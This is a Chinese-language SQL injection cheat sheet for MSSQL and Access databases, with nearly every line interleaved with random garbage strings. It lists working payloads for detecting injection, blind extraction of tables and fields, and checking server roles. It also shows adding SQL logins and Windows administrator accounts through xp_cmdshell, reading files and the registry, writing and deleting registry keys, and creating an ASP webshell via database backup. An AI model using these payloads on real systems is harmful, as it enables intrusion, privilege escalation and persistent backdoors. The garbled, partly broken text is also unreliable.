1.判断是否有注入;and 1=1 ;and 1=2 YSjc=
2.初步判断是否是mssql ;and user>0 8lQ/cGAc
3j#VKj+Uc
3.注入参数是字符'and [查询条件] and ''=' H4i}gdR
N$=YL
@m8
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ,@Csa#
;W0J
5.判断数据库系统 0 '&C5v'
g%2G=gR$?z
;and (select count(*) from sysobjects)>0 mssql 'afW'w@
m:_#kfC&K"
;and (select count(*) from msysobjects)>0 access v[CR$@Y
qxRsq&_
\Z*:l(
jAQ{H
6.猜数据库 ;and (select Count(*) from [数据库名])>0 zK0M WyXO
%PW-E($o<
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 :?f<tNU$
d`\SX(C
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 5 nt3gVy
01Jav~WR
9.(1)猜字段的ascii值(access) 1N/4W6
<Qq
{&,Le
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 TtJX(N~
He_O+[sc
(2)猜字段的ascii值(mssql) H UJqB0D
?
"jZZ>\
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 a-5UG#o
at>_EiS
10.测试权限结构(mssql) =B&|\2`{)
(o>N*?,}
~|u;z,\
%6ckau1_;
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- y)r`<B
o*T?f)_[p
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- Q}#4Qz~n
8%4;'[UV
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- Y58H.P
Zf M]A)
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- e.\>GwM
m?-)SA
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- w+m7jn!$
5N9Cd[4
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 3P_.SF
1@Ba7>%'
;and 1=(select IS_MEMBER('db_owner'));-- H c/7x).
BDt$s(
\
4Q+ ,_iP
Q-) ( s
11.添加mssql和系统的帐户 NbWEP\dS'z
,|f=2t+5X
;exec master.dbo.sp_addlogin username;-- Y]
1U108
;exec master.dbo.sp_password null,username,password;-- \Y,P
(U\o0LI
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- N\|B06X
1D%P;eUDp
;exec master.dbo.xp_cmdshell 'net user username password IO7z}![V;
'[r: pwE
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
dX\OP>
FC 8<D
;exec master.dbo.xp_cmdshell 'net user username password /add';-- zBm~ J%
Vc\g"1x
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- uVYn,DB`
:b9#e g
TJ)Nr*U3_
->#wDL!6
12.(1)遍历目录 sta/i?n
azZ|T{S
;create table dirs(paths varchar(100), id int) MdX4Rp'
yCz"~c
;insert dirs exec master.dbo.xp_dirtree 'c:\' y0O(n/
UAjN
;and (select top 1 paths from dirs)>0 %g*nd#wG
K-YxZAf
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 9#H0|zL
CCpRQKb=
/A5=L<T6F
czw:xG!&
(2)遍历目录 ^uo,LTq+
padV|hF3(e
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ]:ca=&>
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 6cg,L:j#
9u~C?w
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 L^u|=9
9X[378f+(
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 H#F"n"~$
VI3fvGHat{
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 f$</BND
t<`wK8)
s"7FmJ\7rw
*K>2B99TXu
13.mssql中的存储过程 2 U%t
EAY+#>L*
xp_regenumvalues 注册表根键, 子键 DN8I[5O
4Zjd g`
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 {\?f|mmq
0"-H34M<D
xp_regread 根键,子键,键值名 1`II%mf[
i Q3wi
;exec xp_regread 'bv(T2d~~
4o''C |ND
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 qZQm*q(jM
:wzbD,/M
xp_regwrite 根键,子键, 值名, 值类型, 值 ?@A@;`0Y
XW'7
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ~+\A4BW
b5p;)#
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 }+ W5Snx
+vFqHfmP
xp_regdeletevalue 根键,子键,值名
-vT$UP
T5@t_D>8
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 +=`w
{3Gj
rE
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 *~`oA~-Q
\#h=pz+jb
Jx3a7CpX
7DW-brd
14.mssql的backup创建webshell fk#Ggp<
4P2p|Gc3
use model ),<h6$
nP=/XiCj
create table cmd(str image); a$"Z\F:x
Pi&\GMzd
insert into cmd(str) values (''); /|Gz<nSc
&=8ZGjR< }
backup database model to disk='c:\l.asp'; $
z+
=lF
yYC\a7Al4
DL_M#c`<
hHt.No
15.mssql内置函数 qztL M?iV
L8;`*H
;and (select @@version)>0 获得Windows的版本号 e mq%"
;.
$YBH;^#
;and user_name()='dbo' 判断当前系统的连接用户是不是sa ieyqp~+|4$
^J?2[(
;and (select user_name())>0 爆当前系统的连接用户 KE)^S
[Da
'u[cT$
;and (select db_name())>0 得到当前连接的数据库 =F*{O=
0Oq5;5
'?|.#D#-c
OUHd@up@n
16.简洁的webshell +w?1<Z
v|kL7t)}
use model QD[l 6
^w
RD|
create table cmd(str image); P.|g4EdND
~fA H6FdZ\
insert into cmd(str) values (''); iow8H' F
=66,$~g{
backup database model to disk='g:\wwwtest\l.asp';